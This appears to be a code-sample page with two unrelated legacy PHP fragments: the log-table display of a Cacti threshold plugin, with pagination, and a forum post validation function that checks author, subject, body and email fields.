        $nav = "<tr bgcolor='#" . $colors["header"] . "'>\r\n\t\t\t\t<td colspan='11'>\r\n\t\t\t\t\t<table width='100%' cellspacing='0' cellpadding='0' border='0'>\r\n\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t<td align='left' class='textHeaderDark'>\r\n\t\t\t\t\t\t\t\t<strong>&lt;&lt; ";
        if ($_REQUEST["page"] > 1) {
            $nav .= "<a class='linkOverDark' href='" . htmlspecialchars("thold_graph.php?tab=log&page=" . ($_REQUEST["page"] - 1)) . "'>";
        }
        $nav .= "Previous";
        if ($_REQUEST["page"] > 1) {
            $nav .= "</a>";
        }
        $nav .= "</strong>\r\n\t\t\t\t\t\t\t</td>\n\r\n\t\t\t\t\t\t\t<td align='center' class='textHeaderDark'>\r\n\t\t\t\t\t\t\t\tShowing Rows " . ($_REQUEST["rows"] * ($_REQUEST["page"] - 1) + 1) . " to " . ($total_rows < read_config_option("num_rows_device") || $total_rows < $_REQUEST["rows"] * $_REQUEST["page"] ? $total_rows : $_REQUEST["rows"] * $_REQUEST["page"]) . " of {$total_rows} [{$url_page_select}]\r\n\t\t\t\t\t\t\t</td>\n\r\n\t\t\t\t\t\t\t<td align='right' class='textHeaderDark'>\r\n\t\t\t\t\t\t\t\t<strong>";
        if ($_REQUEST["page"] * $_REQUEST["rows"] < $total_rows) {
            $nav .= "<a class='linkOverDark' href='" . htmlspecialchars("thold_graph.php?tab=log&page=" . ($_REQUEST["page"] + 1)) . "'>";
        }
        $nav .= "Next";
        if ($_REQUEST["page"] * $_REQUEST["rows"] < $total_rows) {
            $nav .= "</a>";
        }
        $nav .= " &gt;&gt;</strong>\r\n\t\t\t\t\t\t\t</td>\n\r\n\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\n";
    } else {
        $nav = "<tr bgcolor='#" . $colors["header"] . "'>\r\n\t\t\t\t<td colspan='11'>\r\n\t\t\t\t\t<table width='100%' cellspacing='0' cellpadding='0' border='0'>\r\n\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t<td align='center' class='textHeaderDark'>\r\n\t\t\t\t\t\t\t\tNo Rows Found\r\n\t\t\t\t\t\t\t</td>\n\r\n\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\n";
    }
    print $nav;
    $display_text = array("hdescription" => array("<br>Host", "ASC"), "name" => array("<br>Threshold", "ASC"), "time" => array("<br>Time", "ASC"), "threshold_value" => array("Alarm<br>Value", "ASC"), "current" => array("Current<br>Value", "ASC"), "status" => array("<br>Status", "DESC"), "type" => array("<br>Type", "DESC"), "description" => array("<br>Event Description", "ASC"));
    html_header_sort($display_text, $_REQUEST["sort_column"], $_REQUEST["sort_direction"]);
    $i = 0;
    if (sizeof($logs)) {
        foreach ($logs as $l) {
            ?>
			<tr style='background-color:#<?php 
            print $thold_log[$thold_status[$l['status']]];
            ?>
'>
			<td style='white-space:nowrap;'><?php 
            print $l["hdescription"];
            ?>
</td>
			<td style='white-space:nowrap;'><?php 
            print $l["name"];
            ?>
</td>
			<td style='white-space:nowrap;'><?php 
            print date("Y-m-d H:i:s", $l["time"]);
            ?>
</td>
			<td><?php 
            print $l["threshold_value"] != '' ? thold_format_number($l["threshold_value"]) : 'N/A';
            ?>
</td>
			<td><?php 
            print $l["current"] != '' ? thold_format_number($l["current"]) : 'N/A';
            ?>
</td>
			<td nowrap style='white-space:nowrap;'><?php 
            print $thold_status[$l["status"]];
            ?>
</td>
			<td nowrap style='white-space:nowrap;'><?php 
            print $types[$l["type"]];
            ?>
</td>
			<td style='white-space:nowrap;'><?php 
            print strlen($l["description"]) ? $l["description"] : "Restoral Event";
            ?>
</td>
			<?php 
            form_end_row();
        }
    } else {
        print "<tr><td><em>No Threshold Logs Found</em></td></tr>";
    }
    /* put the nav bar on the bottom as well */
    print $nav;
    html_end_box(false);
    log_legend();
    //thold_display_rusage();
}
Esempio n. 12
0
function check_data($host, $author, $subject, $body, $email)
{
    global $lNoAuthor, $lNoSubject, $lNoBody, $lNoEmail, $lRegisteredName;
    global $Password, $ModPass, $email_reply;
    $IsError = '';
    if (!check_host($host)) {
        violation();
    }
    $author = @trim($author);
    if (empty($author)) {
        $IsError = $lNoAuthor;
    } elseif (!check_name($author)) {
        violation();
    } elseif (!check_register($author)) {
        $IsError = $lRegisteredName;
    }
    if (trim($subject) == "") {
        $IsError = $lNoSubject;
    }
    if (trim($body) == "") {
        $IsError = $lNoBody;
    }
    if (!empty($email)) {
        if (!eregi(".+@.+\\..+", $email) && $email != $Password && $email != $ModPass) {
            if ($email_reply) {
                $IsError = $lNoEmail;
            }
        } else {
            if (!check_email($email)) {
                violation();
            }
        }
    } elseif ($email_reply) {
        $IsError = $lNoEmail;
    }
    return $IsError;
}